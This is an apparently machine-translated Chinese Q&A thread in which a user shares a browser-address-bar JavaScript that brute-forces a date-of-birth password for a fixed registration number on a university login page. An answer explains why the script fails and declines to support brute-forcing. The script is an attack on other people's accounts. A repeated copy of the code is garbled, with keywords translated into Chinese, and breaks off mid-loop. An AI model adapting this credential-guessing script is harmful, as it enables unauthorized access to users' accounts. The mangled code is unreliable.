浏览器地址栏中的JavaScript代码不工作

浏览器地址栏中的JavaScript代码不工作,javascript,forms,browser,Javascript,Forms,Browser,假设有一个带有表单的网页,要求输入注册号和DOB登录。对于给定的注册号,我尝试使用javascript强制DOB登录用户帐户 我首先在新选项卡中打开网页。。然后在地址栏中输入以下JS代码。如果RegNo和DOB匹配,我将被重定向到http://blahtestblah.edu/usermanager/home.jsp。我不明白这段代码有什么问题。 还有,我很确定今年是93岁:)所以,请帮帮我吧 javascript:function f() { var day=new Array(); v

假设有一个带有表单的网页,要求输入注册号和DOB登录。对于给定的注册号,我尝试使用javascript强制DOB登录用户帐户

我首先在新选项卡中打开网页。。然后在地址栏中输入以下JS代码。如果RegNo和DOB匹配,我将被重定向到
http://blahtestblah.edu/usermanager/home.jsp
。我不明白这段代码有什么问题。
还有,我很确定今年是93岁:)所以,请帮帮我吧

javascript:function f()
 {
 var day=new Array();
 var month=new Array();
 day[0]="01";
 day[1]="02";
day[2]="03";
day[3]="04";
day[4]="05";
day[5]="06";
day[6]="07";
day[7]="08";
day[8]="09";
for (var i=9;i<31;i++)
{
day[i]=i+1;
}

month[0]="01";
month[1]="02";
month[2]="03";
month[3]="04";
month[4]="05";
month[5]="06";
month[6]="07";
month[7]="08";
month[8]="09";
month[9]="10";
month[10]="11";
month[11]="12";


for(var j=0;j<31;j++)
{
for(var k=0;k<12;k++)
{
document.forms[0]['txtRegNumber'].value='112233445';
document.forms[0]['txtPwd'].value=day[j]+month[k]+'1993';
document.getElementById("frm1").elements[5].click();
if(document.location.href=="http://blahtestblah.edu/usermanager/home.jsp"){
alert(day[j]+month[k]);}

}
}

};

f();
javascript:function f()
{
var day=新数组();
var month=新数组();
日期[0]=“01”;
第[1]天=“02”;
第[2]天=“03”;
第[3]天=“04”;
第[4]天=“05”;
第[5]天=“06”;
第[6]天=“07”;
第[7]天=“08”;
第[8]天=“09”;
对于(var i=9;i
我不明白这段代码有什么问题

它不起作用,因为
单击
会提交表单,您的浏览器会卸载页面,任何正在执行的脚本都会消失。它只是不在该行之后,您将永远不被允许构建一个脚本,该脚本将继续在其他页面上执行


由于暴力强迫登录表单是我无法支持的,所以这个问题的解决方案留给读者作为练习:-)

我不相信这篇文章背后有真实的意图。好吧,我有机会管理我的大学用户帐户。你相信吗?:)